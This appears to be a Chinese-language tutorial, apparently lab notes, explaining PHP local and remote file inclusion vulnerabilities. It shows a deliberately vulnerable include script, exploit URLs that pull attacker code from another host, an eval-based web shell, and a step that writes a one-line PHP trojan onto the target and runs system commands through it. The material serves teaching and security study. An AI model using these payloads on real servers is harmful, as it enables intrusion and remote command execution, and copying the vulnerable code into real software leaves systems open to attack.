文件包含漏洞
文件包含漏洞其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞
一、本地文件包含
本地文件包含指的是能够打开并包含本地文件的漏洞
1.利用条件
php.ini中allow_url_fopen = on (默认开启)
用户参数可控且没有进行过滤
2.代码示例
# 存在漏洞的php站点示例
<?php
$filename = $_GET['filename'];
include $filename;
echo "<hr>hello,world.";
?>
# 漏洞利用示例
http://localhost/learn/fileinc.php?filename=c:\users\administrator\desktop\test.txt
*由于include等文件包含函数的特性,可以读取任何有权限的文件,或者执行恶意脚本。
二、远程文件包含
1.利用条件
php.ini中allow_url_fopen = on(默认开启) 和 allow_url_include = on (默认关闭)
用户参数可控且没有进行过滤
2.代码示例
创建shell.php,用于漏洞利用执行
<?php
$code = $_GET['code'];
eval($code);
?>
# 漏洞利用
http://localhost/learn/fileinc.php?filename=http://192.168.30.103/security/shell.php?code=phpinfo();
注意:这里发现显示的信息是本地主机的而不是靶机的,因为php脚本被本地执行了
因此需要更改包含的文件类型,不能是php文件,同时参数需要将“?”更改为“&”
http://localhost/learn/fileinc.php?filename=http://192.168.30.103/security/shell.txt&code=phpinfo();
可以看到这样显示的才是存在漏洞的主机的信息
include或者其他文件包含函数可以包含非php文件,若内容为有效的php代码,则会被执行。
3.漏洞利用实验
①将shell.txt写入一句话
<?php
file_put_contents('temp/shell.php', '<?php @eval($_GET['code']); ?>');
?>
②远程主机包含shell.txt
http://192.168.30.1/learn/fileinc.php?filename=http://192.168.30.103/security/shell.txt
③成功在远程主机写入php木马后进行利用
http://192.168.30.1/learn/temp/shell.php?code=system('ipconfig');